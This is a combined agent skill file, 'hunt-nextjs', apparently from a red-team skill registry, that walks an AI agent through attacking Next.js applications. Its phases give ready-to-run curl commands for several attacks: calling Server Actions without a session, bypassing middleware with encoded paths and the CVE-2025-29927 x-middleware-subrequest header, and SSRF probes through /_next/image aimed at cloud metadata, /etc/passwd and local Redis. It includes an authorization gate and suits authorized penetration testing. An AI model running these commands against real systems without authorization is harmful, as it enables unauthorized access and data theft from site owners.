domains / security / nextjs-vulnerability-hunt / hunt-nextjs

hunt-nextjs

Skill card

combined

The two copies share the same core Next.js hunt procedure (fingerprinting, Server Actions abuse, middleware bypass, /_next/image SSRF), but each contains material steps the other lacks. The uphiago copy includes a detailed false-positive guard for /_next/image SSRF and a note distinguishing CVE-2024-34351 from the image optimizer, plus explicit curl timeouts. The sickn33 copy adds a mandatory authorization confirmation gate and a specific middleware bypass via the x-middleware-subrequest header (CVE-2025-29927) with fixed versions. Crowning one would hide a real alternative procedure and a distinct vulnerability technique.

Repositories

RepositoryPath
uphiago/recon-skillsredteam/hunt-nextjs/SKILL.md
sickn33/agentic-awesome-skillsplugins/agentic-awesome-skills-claude/skills/hunt-nextjs/SKILL.md

Other copies

RoleRepositoryPath
peeruphiago/recon-skillsredteam/hunt-nextjs/SKILL.md
peersickn33/agentic-awesome-skillsplugins/agentic-awesome-skills-claude/skills/hunt-nextjs/SKILL.md
adaptersickn33/agentic-awesome-skillsplugins/agentic-awesome-skills/skills/hunt-nextjs/SKILL.md
adaptersickn33/agentic-awesome-skillsskills/hunt-nextjs/SKILL.md

Combined skill

---
name: hunt-nextjs
description: Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/_next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint leakage. Use when target runs Next.js 13/14/15 or any React SSR framework.
version: 1.2.0
license: MIT
category: security
risk: offensive
tags: [nextjs, hunt, redteam, javascript, security]
---

# HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities

> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.

> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

## Crown Jewel Targets

Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.

**Highest-value chains:**
- **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
- **Middleware bypass via `/_next/static/`** — middleware skips static asset paths → protected routes accessible via `/_next/data/` IDOR
- **`/_next/image` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata
- **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users
- **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client

---

## Attack Surface Signals

```
/_next/image?url=&w=&q=          Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json      Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame   Debug stack frame endpoint
/_next/static/chunks/            JS bundles — source map candidate
/api/                            API routes — standard hunt surface
__NEXT_DATA__ in HTML            SSR props leaked to client
x-nextjs-* response headers      Confirms Next.js
```

---

## Phase 1 — Fingerprint & Version Detection

```bash
# Confirm Next.js and get build ID
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Eo '"buildId":"[^"]+"'
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"

# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Eo '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"

# Check Next.js version via package disclosure
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/_next/static/chunks/framework*.js | grep -Eo '"next":"[^"]+"'

# Source map exposure
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5
```

---

## Phase 2 — Server Actions Abuse

```bash
# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Eo '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null

# Call Server Action directly without auth
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/target-page \
  -H "Next-Action: ACTION_ID_HERE" \
  -H "Content-Type: multipart/form-data; boundary=----" \
  -H "Cookie: " \
  --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'

# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only
```

---

## Phase 3 — Middleware Auth Bypass

```bash
# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# → 200 means accessible

# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"

# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/../admin/dashboard"

# Encoded path bypass
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"
```

### Middleware bypass via `x-middleware-subrequest` (CVE-2025-29927)
Next skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth/redirect middleware on gated routes.
```bash
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
# also: -H "x-middleware-subrequest: src/middleware"  and  "pages/_middleware"
# 200 on a middleware-gated route = bypassed. Fixed 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
```

---

## Phase 4 — Image Optimization SSRF (`/_next/image`)

```bash
# Basic SSRF test — internal metadata
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=http://[REDACTED_IP]/latest/meta-data/&w=64&q=75"

# Protocol bypass attempts
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"

# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
COLLAB="http://UNIQUE.COLLAB_HOST"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain
```

**FALSE-POSITIVE GUARD (read before claiming SSRF):** `/_next/image` only
fetches URLs allowed by `images.remotePatterns` / `images.domains` in
`next.config.js`. A non-whitelisted `url` returns **400 by default** — that is
the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A **200**
returns an *optimized image*, not the upstream response body, so a status code
alone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique
Collaborator subdomain** (above), or by body-diffing a known-internal vs
known-external target. Do not report on status code.

> Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0
> through < 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative
> redirect that trusts the `Host` header — NOT a `/_next/image` bug, and it does
> NOT affect Host-routed providers like Vercel.